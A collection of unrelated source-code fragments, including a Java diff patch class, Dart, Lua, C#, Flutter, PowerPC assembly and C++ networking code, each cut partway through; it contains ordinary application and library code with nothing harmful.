empty list of diffs.
     */
    public Patch() {
      this.diffs = new LinkedList<Diff>();
    }

    /**
     * Emulate GNU diff's format.
     * Header: @@ -382,8 +481,9 @@
     * Indices are printed as 1-based, not 0-based.
     * @return The GNU diff string.
     */
    public String toString() {
      String coords1, coords2;
      if (this.length1 == 0) {
        coords1 = this.start1 + ",0";
      } else if (this.length1 == 1) {
        coords1 = Integer.toString(this.start1 + 1);
      } else {
        coords1 = (this.start1 + 1) + "," + this.length1;
      }
      if (this.length2 == 0) {
        coords2 = this.start2 + ",0";
      } else if (this.length2 == 1) {
        coords2 = Integer.toString(this.start2 + 1);
      } else {
        coords2 = (this.start2 + 1) + "," + this.length2;
      }
      StringBuilder text = new StringBuilder();
      text.append("@@ -").append(coords1).append(" +").append(coords2)
          .append(" @@\n");
      // Escape the body of the patch with %xx notation.
      for (Diff aDiff : this.diffs) {
        switch (aDiff.operation) {
        case INSERT:
          text.append('+');
          break;
        case DELETE:
          text.append('-');
          break;
        case EQUAL:
          text.append(' ');
          break;
        }
        try {
          text.append(URLEncoder.encode(aDiff.text, "UTF-8").replace('+', ' '))
              .append("\n");
        } catch (UnsupportedEncodingException e) {
          // Not likely on modern system.
          throw new Error("This system does not support UTF-8.", e);
        }
      }
      return unescapeForEncodeUriCompatability(text.toString());
    }
  }

  /**
   * Unescape selected chars for compatability with JavaScript's encodeURI.
   * In speed critical applications this could be dropped since the
   * receiving application will certainly decode these fine.
   * Note that this function is case-sensitive.  Thus "%3f" would not be
   * unescaped.  But this is ok because it is only called with the output of
   * URLEncoder.encode which returns uppercase hex.
   *
   * Example: "%3F" -> "?", "%24" -> "$", etc.
   *
   * @param str The string to escape.
   * @return The escaped string.
   */
  private static String unescapeForEncodeUriCompatability(String str) {
    return str.replace("%21", "!").replace("%7E", "~")
        .replace("%27", "'").replace("%28", "(").replace("%29", ")")
        .replace("%3B", ";").replace("%2F", "/").replace("%3F", "?")
        .replace("%3A", ":").replace("%40", "@").replace("%26", "&")
        .replace("%3D", "=").replace("%2B", "+").replace("%24", "$")
        .replace("%2C", ",").replace("%23", "#");
  }
}
/*
 * Copyright 2018-2025 New Vector Ltd.
 * Copyright 2015 OpenMarket Ltd
 *
 * SPDX-License-Identifier: AGPL-3.0-only OR LicenseRef-Element-Commercial
 * Please see LICENSE files in the repository root for full details.
 */

package im.vector.fragments;

import android.text.TextUtils;
import android.widget.Toast;

import org.matrix.androidsdk.core.Log;
import org.matrix.androidsdk.core.model.MatrixError;
import org.matrix.androidsdk.fragments.MatrixMessagesFragment;

import im.vector.Matrix;
import im.vector.R;

public class VectorMessagesFragment extends MatrixMessagesFragment {
    private static final String LOG_TAG = VectorMessagesFragment.class.getSimpleName();

    public static VectorMessagesFragment newInstance(String roomId) {
        VectorMessagesFragment fragment


f9-1f1eb": "flag_tf",
"1f1ec-1f1e6": "flag_ga",
"1f1ec-1f1f2": "flag_gm",
"1f1ec-1f1ea": "flag_ge",
"1f1e9-1f1ea": "flag_de",
"1f1ec-1f1ed": "flag_gh",
"1f1ec-1f1ee": "flag_gi",
"1f1ec-1f1f7": "flag_gr",
"1f1ec-1f1f1": "flag_gl",
"1f1ec-1f1e9": "flag_gd",
"1f1ec-1f1f5": "flag_gp",
"1f1ec-1f1fa": "flag_gu",
"1f1ec-1f1f9": "flag_gt",
"1f1ec-1f1ec": "flag_gg",
"1f1ec-1f1f3": "flag_gn",
"1f1ec-1f1fc": "flag_gw",
"1f1ec-1f1fe": "flag_gy",
"1f1ed-1f1f9": "flag_ht",
"1f1ed-1f1f3": "flag_hn",
"1f1ed-1f1f0": "flag_hk",
"1f1ed-1f1fa": "flag_hu",
"1f1ee-1f1f8": "flag_is",
"1f1ee-1f1f3": "flag_in",
"1f1ee-1f1e9": "flag_id",
"1f1ee-1f1f7": "flag_ir",
"1f1ee-1f1f6": "flag_iq",
"1f1ee-1f1ea": "flag_ie",
"1f1ee-1f1f2": "flag_im",
"1f1ee-1f1f1": "flag_il",
"1f1ee-1f1f9": "flag_it",
"1f1ef-1f1f2": "flag_jm",
"1f1ef-1f1f5": "flag_jp",
"1f38c": "crossed_flags",
"1f1ef-1f1ea": "flag_je",
"1f1ef-1f1f4": "flag_jo",
"1f1f0-1f1ff": "flag_kz",
"1f1f0-1f1ea": "flag_ke",
"1f1f0-1f1ee": "flag_ki",
"1f1fd-1f1f0": "flag_xk",
"1f1f0-1f1fc": "flag_kw",
"1f1f0-1f1ec": "flag_kg",
"1f1f1-1f1e6": "flag_la",
"1f1f1-1f1fb": "flag_lv",
"1f1f1-1f1e7": "flag_lb",
"1f1f1-1f1f8": "flag_ls",
"1f1f1-1f1f7": "flag_lr",
"1f1f1-1f1fe": "flag_ly",
"1f1f1-1f1ee": "flag_li",
"1f1f1-1f1f9": "flag_lt",
"1f1f1-1f1fa": "flag_lu",
"1f1f2-1f1f4": "flag_mo",
"1f1f2-1f1f0": "flag_mk",
"1f1f2-1f1ec": "flag_mg",
"1f1f2-1f1fc": "flag_mw",
"1f1f2-1f1fe": "flag_my",


   gfx1 = {main_w = tonumber(ww),
                main_h = tonumber(wh)}
      else
        gfx1 = {main_w = 800,
                main_h = 450}
      end
      Lokasenna_Window_At_Center(gfx1.main_w,gfx1.main_h)

      ret = true
    end

    return ret
  end

  function SaveGlobOvProjSettingsInFile(file, ffn)

    local ffn
    if file == nil then
      ffn=paths.resource_path..'GlobalOverrideProjectSettings.lbxprojsett'
      file=io.open(ffn,"w")
    end

    if file then
      file:write('[version]'..lvar.VERSION..'\n')

      file:write('[gridsize]'..ogrid..'\n')
      file:write('[showgrid]'..tostring(settings_showgrid)..'\n')
      file:write('[showeditbar]'..tostring(show_editbar)..'\n')
      file:write('[locksurface]'..tostring(settings_locksurface)..'\n')
      file:write('[lasttrack]'..track_select..'\n')
      file:write('[metalite_gravity]'..xxy_gravity..'\n')

      if snapshot_win_pos == nil then snapshot_win_pos = {} end
      file:write('[snapwinpos_x]'..nz(snapshot_win_pos.x,'')..'\n')
      file:write('[snapwinpos_y]'..nz(snapshot_win_pos.y,'')..'\n')

      file:write('[showsnap]'..tostring(show_snapshots)..'\n')
      file:write('[hidetracks]'..tostring(hideunusedtracks)..'\n')
      file:write('[localfaders]'..tostring(settings_localfaders)..'\n')
      file:write('[sb_favs]'..tostring(lvar.stripbrowser.favs)..'\n')
      file:write('[sb_page]'..tostring(lvar.stripbrowser.page)..'\n')
      file:write('[sb_fol]'..tostring(stripfol_select)..'\n')
      file:write('[win_w]'..nz(gfx1.main_w,800)..'\n')
      file:write('[win_h]'..nz(gfx1.main_h,450)..'\n')

    end
    file:close()

  end

  function SaveData(tmp, bak, noclean, fffn, epflag)

    local SCRIPT = lvar.SCRIPT

    ZeroProjectFlags()

    DBGOut('')
    DBGOut('*** SAVING DATA ***')

    --SaveSettings()

    if lvar.striploadoverride_active and not fffn then
      --[[reaper.SetProjExtState(0,SCRIPT,'dm_trackbtns_grp_count',#lvar.dm_trackbtns)
      reaper.SetProjExtState(0,SCRIPT,'dm_tbidx',lvar.dm_tbidx)
      for ii = 1, #lvar.dm_trackbtns do
        reaper.SetProjExtState(0,SCRIPT,'dm_trackbtns_name_'..string.format('%i',ii),lvar.dm_trackbtns[ii].name or '')
        if #lvar.dm_trackbtns[ii] > 0 then
          reaper.SetProjExtState(0,SCRIPT,'dm_trackbtns_count_'..string.format('%i',ii),#lvar.dm_trackbtns[ii])
          for i = 1, #lvar.dm_trackbtns[ii] do
            local key = string.format('%i',ii)..'_'..string.format('%i',i)
            reaper.SetProjExtState(0,SCRIPT,'dm_trackbtns_guid_'..key, lvar.dm_trackbtns[ii][i].guid)
            reaper.SetProjExtState(0,SCRIPT,'dm_trackbtns_trn_'..key, lvar.dm_trackbtns[ii][i].trn)
          end
        end
      end
      if lvar.dm_backtrack then
        reaper.SetPro


/*******************************************************************************
    Copyright (c) 2011 Yahoo! Inc. All rights reserved.

    Licensed under the Apache License, Version 2.0 (the "License");
    you may not use this file except in compliance with the License.
    You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

    Unless required by applicable law or agreed to in writing, software
    distributed under the License is distributed on an "AS IS" BASIS,
    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
    See the License for the specific language governing permissions and
    limitations under the License. See accompanying LICENSE file.

    The Initial Developer of the Original Code is Shravan Narayanamurthy.
******************************************************************************/
/*
 * Filter_Tester.cpp
 *
 *
 *
 *  Created on: 6 Apr, 2009
 *
 */

#ifndef FILTER_TESTER_H_
#define FILTER_TESTER_H_

#include "tbb/pipeline.h"
#include "Model_Refiner.h"

using namespace tbb;
//!A filter in the TBB pipeline.
/**
 * Delegates the task to be done to
 * refiner.test()
 */
class Filter_Tester: public filter {
private:
    Model_Refiner& _refiner;

public:
    Filter_Tester(Model_Refiner&);
    virtual ~Filter_Tester();

    void* operator ()(void *);
};

#endif /* FILTER_TESTER_H_ */


finitionUri.toString();
      }

      emitter?.writeln('import ${asDartLiteral(importLiteral)} as $alias;');
      return alias;
    });
  }
}
import 'package:json_annotation/json_annotation.dart';
import 'package:sqlparser/sqlparser.dart';
import 'package:path/path.dart' show url;

import '../utils/string_escaper.dart';
import 'backend.dart';

part '../generated/analysis/preprocess_drift.g.dart';

@JsonSerializable(constructor: '_')
class DriftPreprocessorResult {
  /// A map from inline Dart lexemes used in a `.drift` file to the name of
  /// fields in a file generated to help analyze them.
  ///
  /// Public APIs in the `analyzer` (or `build`) packages only support
  /// resolving full Dart files. In a `.drift` file however, it is possible to
  /// write in-line Dart expressions in SQL, for instance to declare a type
  /// converter with `MAPPED BY const MyTypeConverter()`.
  /// To enable drift's analyzer to see the `const MyTypeConverter()` expression
  /// in a meaningful way, a preprocess step generates a hidden Dart source file
  /// storing these expressions as text:
  ///
  /// ```dart
  ///  var expr_1 = const MyTypeConverter();
  /// ```
  ///
  /// This map contains the lexemes of Dart expressions (like
  /// `const MyTypeConverter()`) as keys and maps to the name of fields to use
  /// (here, `expr_1`).
  final Map<String, String> inlineDartExpressionsToHelperField;

  /// The names of all tables and views declared in this `.drift` file.
  ///
  /// Having this information available helps drift's analyzer in a future
  /// steps. When a table or view name is encountered in another `.drift` file,
  /// knowing where that table is likely to be defined helps doing analysis in
  /// the right order.
  final List<String> declaredTablesAndViews;

  final List<Uri> imports;

  DriftPreprocessorResult._(this.inlineDartExpressionsToHelperField,
      this.declaredTablesAndViews, this.imports);

  factory DriftPreprocessorResult.fromJson(Map<String, Object?> json) =>
      _$DriftPreprocessorResultFromJson(json);

  Map<String, Object?> toJson() => _$DriftPreprocessorResultToJson(this);
}

/// Processes `.drift` files to extract all embedded Dart snippets.
///
/// To analyze drift files in the build system, we extract these snippets into
/// a standalone Dart file so that we're able to analyze them with the resolvers
/// provided by the build system.
class DriftPreprocessor {
  final DriftPreprocessorResult result;
  final String temporaryDartFile;

  DriftPreprocessor._(this.result, this.temporaryDartFile);

  static Iterable<Uri> _imports(AstNode node, Uri ownUri) {
    return node.allDescendants
        .whereType<ImportStatement>()
        .map((stmt) => ownUri.resolve(stmt.importedFile));
  }

  static Future<DriftPreprocessor> analyze(
      DriftBackend backend, Uri uri) async {
    final contents = await backend.readAsString(uri);
    final engine = SqlEngine(EngineOptions(
        driftOptions: const DriftSqlOptions(), version: SqliteVersion.current));
    final parsedInput = engine.parseDriftFile(contents);

    final directImports = _imports(parsedInput.rootNode, uri).toList();

    // Generate a hidden Dart helper file if this drift file uses inline Dart
    // expressions.
    final dartLexemes = parsedInput.tokens
        .whereType<InlineDartToken>()
        .map((token) => token.dartCode)
        .toList();

    final codeToField = <String, String>{};
    final seenFiles = <Uri>{uri};
    final queue = [...directImports];

    if (dartLexemes.isNotEmpty) {
      // Imports in drift files are transitive, so we need to find all
      //


import time

import embodied
import numpy as np

class TestAgent:

  def __init__(self, obs_space, act_space, addr=None):
    self.obs_space = obs_space
    self.act_space = act_space
    if addr:
      self.client = embodied.distr.Client(addr, connect=True)
      self.should_stats = embodied.when.Clock(1)
    else:
      self.client = None
    self._stats = {
        'env_steps': 0, 'replay_steps': 0, 'reports': 0,
        'saves': 0, 'loads': 0, 'created': time.time(),
    }

  def _watcher(self):
    while True:
      if self.queue.empty():
        self.queue.put(self.stats())
      else:
        time.sleep(0.01)

  def stats(self):
    stats = self._stats.copy()
    stats['lifetime'] = time.time() - stats.pop('created')
    return stats

  def init_policy(self, batch_size):
    return (np.zeros(batch_size),)

  def init_train(self, batch_size):
    return (np.zeros(batch_size),)

  def init_report(self, batch_size):
    return ()

  def policy(self, obs, carry, mode='train'):
    B = len(obs['is_first'])
    self._stats['env_steps'] += B
    carry, = carry
    carry = np.asarray(carry)

    assert carry.shape == (B,)
    assert not any(k.startswith('log_') for k in obs.keys())

    target = (carry + 1) * (1 - obs['is_first'])
    assert (obs['step'] == target).all()
    carry = target

    if self.client and self.should_stats():
      self.client.report(self.stats())

    act = {
        k: np.stack([v.sample() for _ in range(B)])
        for k, v in self.act_space.items() if k != 'reset'}
    return act, {}, (carry,)

  def train(self, data, carry):
    B, T = data['step'].shape
    carry, = carry
    assert carry.shape == (B,)
    assert not any(k.startswith('log_') for k in data.keys())
    self._stats['replay_steps'] += B * T
    for t in range(T):
      current = data['step'][:, t]
      reset = data['is_first'][:, t]
      target = (1 - reset) * (carry + 1) + reset * current
      assert (current == target).all()
      carry = current

    outs = {}
    metrics = {}
    return outs, (carry,), metrics

  def report(self, data, carry):
    self._stats['reports'] += 1
    return {
        'scalar': np.float32(0),
        'vector': np.zeros(10),
        'image1': np.zeros((64, 64, 1)),
        'image3': np.zeros((64, 64, 3)),
        'video': np.zeros((10, 64, 64, 3)),
    }, carry

  def dataset(self, generator):
    return generator()

  def save(self):
    self._stats['saves'] += 1
    return self._stats

  def load(self, data):
    self._stats = data
    self._stats['loads'] += 1


using System;

namespace Shoko.Models.Enums
{
    [Flags]
    public enum AnimeGroupSortMethod
    {
        SortName = 0,
        IsFave = 1
    }

    public enum AnimeSeason
    {
        Winter,
        Spring,
        Summer,
        Fall
    }

    public enum AutoFileSubsequentType
    {
        PreviousGroup = 0,
        BestQuality = 1
    }

    public enum AutostartMethod
    {
        Registry = 1,
        TaskScheduler = 2
    }

    public enum AvailableEpisodeType
    {
        All = 1,
        Available = 2,
        NoFiles = 3
    }

    /// <summary>
    /// Available data sources to chose from.
    /// </summary>
    [Flags]
    public enum DataSourceType
    {
        /// <summary>
        /// No source.
        /// </summary>
        None = 0,

        /// <summary>
        /// AniDB.
        /// </summary>
        AniDB = 1,

        /// <summary>
        /// The Tv Database (TvDB).
        /// </summary>
        TvDB = 2,

        /// <summary>
        /// The Movie Database (TMDB).
        /// </summary>
        TMDB = 4,

        /// <summary>
        /// Trakt.
        /// </summary>
        Trakt = 8,

        /// <summary>
        /// My Anime List (MAL).
        /// </summary>
        MAL = 16,

        /// <summary>
        /// AniList (AL).
        /// </summary>
        AniList = 32,

        /// <summary>
        /// Animeshon.
        /// </summary>
        Animeshon = 64,

        /// <summary>
        /// Kitsu.
        /// </summary>
        Kitsu = 128,

        /// <summary>
        /// Shoko.
        /// </summary>
        Shoko = 1024,

        /// <summary>
        /// User.
        /// </summary>
        User = 2048,
    }

    public enum EpisodeDisplayStyle
    {
        Always = 1,
        InExpanded = 2,
        Never = 3
    }

    public enum FileQualityFilterOperationType
    {
        EQUALS,
        LESS_EQ,
        GREATER_EQ,
        IN,
        NOTIN
    }
    public enum FileQualityFilterType
    {
        RESOLUTION,
        SOURCE,
        VERSION,
        AUDIOSTREAMCOUNT,
        VIDEOCODEC,
        AUDIOCODEC,
        CHAPTER,
        SUBGROUP,
        SUBSTREAMCOUNT
    }

    public enum FileSearchCriteria
    {
        Name = 1,
        Size = 2,
        LastOneHundred = 3,
        ED2KHash = 4
    }

    public enum GroupFilterBaseCondition
    {
        Include = 1,
        Exclude = 2
    }

    public enum GroupFilterConditionType
    {
        CompletedSeries = 1,
        MissingEpisodes = 2,
        HasUnwatchedEpisodes = 3,
        // AllEpisodesWatched = 4,
        UserVoted = 5,
        Tag = 6,
        AirDate = 7,
        //Studio = 8,
        AssignedTvDBInfo = 9,
        //ReleaseGroup = 11,
        AnimeType = 12,
        VideoQuality = 13,
        Favourite = 14,
        AnimeGroup = 15,
        AniDBRating = 16,
        UserRating = 17,
        SeriesCreatedDate = 18,
        EpisodeAddedDate = 19,
        EpisodeWatchedDate = 20,
        FinishedAiring = 21,
        MissingEpisodesCollecting = 22,
        AudioLanguage = 23,
        SubtitleLanguage = 24,
        AssignedTvDBOrMovieDBInfo = 25,
        AssignedMovieDBInfo = 26,
        UserVotedAny = 27,
        HasWatchedEpisodes = 28,
        AssignedMALInfo = 29,
        EpisodeCount = 30,
        CustomTags


(
        colorScheme: ColorScheme.fromSeed(seedColor: Colors.indigo),
        visualDensity: VisualDensity.adaptivePlatformDensity,
        useMaterial3: true,
      ),
    );
  }

  static void _initializeSiprix([LogsModel? logsModel]) async {
    debugPrint('_initializeSiprix');
    InitData iniData = InitData();
    iniData.license  = "...license-credentials...";
    iniData.logLevelFile = LogLevel.debug;
    iniData.logLevelIde = LogLevel.info;
    //- uncomment if required -//
    //iniData.singleCallMode = false;
    //iniData.tlsVerifyServer = false;
    //if(Platform.isIOS) {
    //  iniData.enableCallKit = true;
    //  iniData.enablePushKit = true; //Enable only when added PushNotif support on server side
    //  iniData.unregOnDestroy = false;
    //}
    //if(Platform.isAndroid) {
    //  iniData.listenTelState = true;
    //  iniData.listenVolChange = true;
    //  iniData.serviceClassName = "com.siprix.voip_sdk_example.MyNotifService";
    //}
    await SiprixVoipSdk().initialize(iniData, logsModel);

    //Set video params (if required)
    //VideoData vdoData = VideoData();
    //vdoData.noCameraImgPath = await MyApp.writeAssetAndGetFilePath("noCamera.jpg");
    //vdoData.bitrateKbps = 800;
    //SiprixVoipSdk().setVideoParams(vdoData);
  }

  void _readSavedState() {
    debugPrint('_readSavedState');
    SharedPreferences.getInstance().then((prefs) {
      String accJsonStr = prefs.getString('accounts') ?? '';
      String subsJsonStr = prefs.getString('subscriptions') ?? '';
      String cdrsJsonStr = prefs.getString('cdrs') ?? '';
      String msgsJsonStr = prefs.getString('msgs') ?? '';
      _loadModels(accJsonStr, cdrsJsonStr, subsJsonStr, msgsJsonStr);
    });
  }

  void _loadModels(String accJsonStr, String cdrsJsonStr,
                  String subsJsonStr, String msgsJsonStr) async {
    //Accounts
    AppAccountsModel accs = context.read<AppAccountsModel>();
    accs.onSaveChanges = _saveAccountChanges;

    //Subscriptions
    SubscriptionsModel subs = context.read<SubscriptionsModel>();
    subs.onSaveChanges = _saveSubscriptionChanges;

    MessagesModel msgs = context.read<MessagesModel>();
    msgs.onSaveChanges = _saveMessagesChanges;

    //CDRs (Call Details Records)
    CdrsModel cdrs = context.read<CdrsModel>();
    cdrs.onSaveChanges = _saveCdrsChanges;

    //Load messages, than accounts, then other models
    msgs.loadFromJson(msgsJsonStr);
    accs.loadFromJson(accJsonStr);
    subs.loadFromJson(subsJsonStr);
    cdrs.loadFromJson(cdrsJsonStr);

    //Assign contact name resolver
    context.read<AppCallsModel>().onResolveContactName = _resolveContactName;

    //Load devices
    context.read<DevicesModel>().load();
  }

  void _saveCdrsChanges(String cdrsJsonStr) {
    SharedPreferences.getInstance().then((prefs) {
      prefs.setString('cdrs', cdrsJsonStr);
    });
  }

  void _saveAccountChanges(String accountsJsonStr) {
    SharedPreferences.getInstance().then((prefs) {
      prefs.setString('accounts', accountsJsonStr);
    });
  }

  void _saveSubscriptionChanges(String subscrJsonStr) {
    SharedPreferences.getInstance().then((prefs) {
      prefs.setString('subscriptions', subscrJsonStr);
    });
  }

  void _saveMessagesChanges(String msgsJsonStr) {
    SharedPreferences.getInstance().then(


mber of values in B shifted
	slwi		T2,	KK,	7				// Number of values in A shifted
	add		BO,	BO,	T1				// Add values to BO
	add		AO,	AO,	T2				// Add values to AO
#endif

#if (defined(LEFT) &&  !defined(TRANSA)) || (!defined(LEFT) && defined(TRANSA))
	sub		T1,	K,	KK				// K - KK -> TEMP1
#else
	mr		T1,	KK					// KK -> KTEMP
#ifdef LEFT
	addi		T1,	T1,	8				// KTEMP + Number of values in A -> KTEMP
#else
	addi		T1,	T1,	1				// KTEMP + Number of values in B -> KTEMP
#endif
#endif

	mr		KKK,	T1
	mr		K1,	T1
	srawi.		L,	K1,	3				// KTEMP / 8 -> L
	ble		.LZTRMM_L1x8_SUB0
	cmpwi		cr0,	L,	1
	ble		.LZTRMM_L1x8_SUB4

.LZTRMM_L1x8_LOOP_START:

	dcbt		AO,	PRE
	LOAD1x8_1
	dcbt		AO,	PRE
	KERNEL1x8_I1
	dcbt		AO,	PRE
	KERNEL1x8_2
	dcbt		AO,	PRE
	KERNEL1x8_1
	dcbt		AO,	PRE
	KERNEL1x8_2

	dcbt		AO,	PRE
	KERNEL1x8_1
	dcbt		AO,	PRE
	KERNEL1x8_2
	dcbt		AO,	PRE
	KERNEL1x8_1
	dcbt		AO,	PRE
	KERNEL1x8_2

	addic.		L,	L,	-2
	ble		.LZTRMM_L1x8_LOOP_END

	.align 5

.LZTRMM_L1x8_LOOP:

	dcbt		AO,	PRE
	KERNEL1x8_1
	dcbt		AO,	PRE
	KERNEL1x8_2
	dcbt		AO,	PRE
	KERNEL1x8_1
	dcbt		AO,	PRE
	KERNEL1x8_2

	dcbt		AO,	PRE
	KERNEL1x8_1
	dcbt		AO,	PRE
	KERNEL1x8_2
	dcbt		AO,	PRE
	KERNEL1x8_1
	dcbt		AO,	PRE
	KERNEL1x8_2

	addic.		L,	L,	-1
	bgt		.LZTRMM_L1x8_LOOP

.LZTRMM_L1x8_LOOP_END:

	dcbt		AO,	PRE
	KERNEL1x8_1
	dcbt		AO,	PRE
	KERNEL1x8_2
	dcbt		AO,	PRE
	KERNEL1x8_1
	dcbt		AO,	PRE
	KERNEL1x8_2

	dcbt		AO,	PRE
	KERNEL1x8_1
	dcbt		AO,	PRE
	KERNEL1x8_2
	dcbt		AO,	PRE
	KERNEL1x8_1
	KERNEL1x8_E2

	b		.LZTRMM_L1x8_SUB1

.LZTRMM_L1x8_SUB4:

	dcbt		AO,	PRE
	KERNEL1x8_SUBI1
	dcbt		AO,	PRE
	KERNEL1x8_SUB1
	dcbt		AO,	PRE
	KERNEL1x8_SUB1
	dcbt		AO,	PRE
	KERNEL1x8_SUB1

	KERNEL1x8_SUB1
	KERNEL1x8_SUB1


ntent.split('#');
    List<IRButton> buttons = [];
    String remoteName = "Flipper IR Remote";

    for (String block in blocks) {
      block = block.trim();
      if (block.isEmpty) continue;

      if (block.contains("type: parsed")) {
        final nameMatch = RegExp(r'name:\s*(.+)').firstMatch(block);
        final addressMatch =
            RegExp(r'address:\s*([0-9A-Fa-f]{2})\s+([0-9A-Fa-f]{2})')
                .firstMatch(block);
        final commandMatch =
            RegExp(r'command:\s*([0-9A-Fa-f]{2})\s+([0-9A-Fa-f]{2})')
                .firstMatch(block);

        if (nameMatch != null && addressMatch != null && commandMatch != null) {
          String name = nameMatch.group(1)!.trim();
          String hexCode = convertToLIRCHex(addressMatch, commandMatch);

          buttons.add(IRButton(
            code: int.parse(hexCode, radix: 16),
            rawData: null,
            frequency: null,
            image: name,
            isImage: false,
          ));
        }
      } else if (block.contains("type: raw")) {
        final nameMatch = RegExp(r'name:\s*(.+)').firstMatch(block);
        final frequencyMatch = RegExp(r'frequency:\s*(\d+)').firstMatch(block);
        final dataMatch = RegExp(r'data:\s*([\d\s]+)').firstMatch(block);

        if (nameMatch != null && frequencyMatch != null && dataMatch != null) {
          String name = nameMatch.group(1)!.trim();
          int frequency = int.parse(frequencyMatch.group(1)!);
          String rawData = dataMatch.group(1)!.trim();

          buttons.add(IRButton(
            code: null,
            rawData: rawData,
            frequency: frequency,
            image: name,
            isImage: false,
          ));
        }
      }
    }

    if (buttons.isNotEmpty) {
      Remote newRemote =
          Remote(name: remoteName, useNewStyle: true, buttons: buttons);
      remotes.add(newRemote);
      // Reassign ids after adding the new remote.
      _reassignIds();
    }
  }

  String convertToLIRCHex(RegExpMatch addressMatch, RegExpMatch commandMatch) {
    int addrByte1 = int.parse(addressMatch.group(1)!, radix: 16);
    int addrByte2 = int.parse(addressMatch.group(2)!, radix: 16);
    int cmdByte1 = int.parse(commandMatch.group(1)!, radix: 16);
    int cmdByte2 = int.parse(commandMatch.group(2)!, radix: 16);

    int lircCmd = bitReverse(addrByte1);
    int lircCmdInv = (addrByte2 == 0) ? (0xFF - lircCmd) : bitReverse(addrByte2);
    int lircAddr = bitReverse(cmdByte1);
    int lircAddrInv =
        (cmdByte2 == 0) ? (0xFF - lircAddr) : bitReverse(cmdByte2);

    return "${lircCmd.toRadixString(16).padLeft(2, '0')}"
            "${lircCmdInv.toRadixString(16).padLeft(2, '0')}"
            "${lircAddr.toRadixString(16).padLeft(2, '0')}"
            "${lircAddrInv.toRadixString(16).padLeft(2, '0')}"
        .toUpperCase();
  }

  int bitReverse(int x) {
    return int.parse(
      x.toRadixString(2).padLeft(8, '0').split('').reversed.join(),
      radix: 2,
    );
  }

  void _reassignIds() {
    for (int i = 0; i < remotes.length; i++) {
      remotes[i].id = i + 1;
    }
  }

  Future<bool> _confirmDeleteRemote(BuildContext context, Remote remote) async {
    final theme = Theme.of(context);
    return await showModalBottomSheet<bool>(
          context: context,


THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 */

#ifndef FLATHEADERS
#include "simple_message/socket/udp_server.h"
#include "simple_message/log_wrapper.h"
#else
#include "udp_server.h"
#include "log_wrapper.h"
#endif

using namespace industrial::byte_array;

namespace industrial
{
namespace udp_server
{

UdpServer::UdpServer()
{
  this->setConnected(false);
}

UdpServer::~UdpServer()
{
}

bool UdpServer::init(int port_num)
{
  int rc = this->SOCKET_FAIL;
  bool rtn;
  SOCKLEN_T addrSize = 0;

  /* Create a socket using:
   * AF_INET - IPv4 internet protocol
   * SOCK_DGRAM - UDP type
   * protocol (0) - System chooses
   */
  rc = SOCKET(AF_INET, SOCK_DGRAM, 0);
  if (this->SOCKET_FAIL != rc)
  {
    this->setSockHandle(rc);
    LOG_DEBUG("Socket created, rc: %d", rc);
    LOG_DEBUG("Socket handle: %d", this->getSockHandle());

    // Initialize address data structure
    memset(&this->sockaddr_, 0, sizeof(this->sockaddr_));
    this->sockaddr_.sin_family = AF_INET;
    this->sockaddr_.sin_addr.s_addr = INADDR_ANY;
    this->sockaddr_.sin_port = HTONS(port_num);

    // This set the socket to be non-blocking (NOT SURE I WANT THIS) - sme
    //fcntl(sock_handle, F_SETFL, O_NONBLOCK);

    addrSize = sizeof(this->sockaddr_);
    rc = BIND(this->getSockHandle(), (sockaddr *)&(this->sockaddr_), addrSize);

    if (this->SOCKET_FAIL != rc)
    {
      rtn = true;
      LOG_INFO("Server socket successfully initialized");
    }
    else
    {
      LOG_ERROR("Failed to bind socket, rc: %d", rc);
      CLOSE(this->getSockHandle());
      rtn = false;
    }
  }
  else
  {
    LOG_ERROR("Failed to create socket, rc: %d", rc);
    rtn = false;
  }
  return rtn;
}

bool UdpServer::makeConnect()
{
  ByteArray send;
  char sendHS = this->CONNECT_HANDSHAKE;
  char recvHS = 0;
  int bytesRcvd = 0;
  const int timeout = 1000;  // Time (ms) between handshake sends
  bool rtn = false;

  send.load((void*)&sendHS, sizeof(sendHS));

  if (!this->isConnected())
  {
    this->setConnected(false);

    // Listen for handshake.  Once received, break
    // listen loop.
    do
    {
      ByteArray recv;
      recvHS = 0;
      if (this->isReadyReceive(timeout))
      {
        bytesRcvd = this->rawReceiveBytes(this->buffer_, 0);

        if (bytesRcvd > 0)
        {
          LOG_DEBUG("UDP server received %d bytes while waiting for handshake", bytesRcvd);
          recv.init(&this->buffer_[0], bytesRcvd);
          recv.unload((void*)&recvHS, sizeof(recvHS));
        }
      }

    }
    while(recvHS != sendHS);

    // copy to local array, since ByteArray no longer supports
    // direct pointer-access to data values
    const int sendLen = send.getBufferSize();
    std::vector<char> localBuffer(sendLen);
    send.unload(localBuffer.data(), sendLen);

    // Send a reply handshake
    this->rawSendBytes(localBuffer.data(), sendLen);
    this->setConnected(true);
    rtn = true;

  }
  else
  {
    LOG_WARN("Tried to connect when socket already in connected state");
    rtn = true;
  }

  return rtn;
}

} //udp_server
} //industrial

/*
 * Software License Agreement (BSD License)
 *
 *


ID(_env);

  // Obtain a reference to this object.
  RtecEventComm::PushConsumer_var objref = this->_this (_env);
  TAO_CHECK_ENV_RETURN_VOID(_env);

  // Connect as a consumer.
  this->supplier_proxy_->connect_push_consumer (objref.in (),
                                                qos.get_ConsumerQOS (),
                                                _env);
  TAO_CHECK_ENV_RETURN_VOID(_env);
}

The following code is derived from the EC_Throughput consumer driver code, which
can be found in TAO in the file:

$TAO_ROOT/orbsvcs/tests/EC_Throughput/ECT_Consumer_Driver.cpp

int
ECT_Consumer_Driver::run (int argc, char* argv[])
{
  // argc/argv are used to initialize the ORB and the options
  // for this particular test. Other applications may hard-code
  // the ORB options, obtain them from another source, etc.

  TAO_TRY
    {
      // The use of TAO_TRY macros isolate us from the differences
      // between platforms with and without native C++ exceptions.
      // This is work in progress and may change in the future!

      // Below is some boiler plate code to initialize the ORB and
      // the POA. Notice that applications that connect to the Event
      // Channel play the server role in some instances, because
      // they receive push() requests (as Consumers) or
      // disconnect_push_supplier() requests (as Suppliers).

      // Initialize the ORB reference.
      this->orb_ =
        CORBA::ORB_init (argc, argv, "");

      // Initialize the root POA reference.
      CORBA::Object_var poa_object =
        this->orb_->resolve_initial_references("RootPOA");
      if (CORBA::is_nil (poa_object.in ()))
        ACE_ERROR_RETURN ((LM_ERROR,
                           " (%P|%t) Unable to initialize the POA.\n"),
                          1);

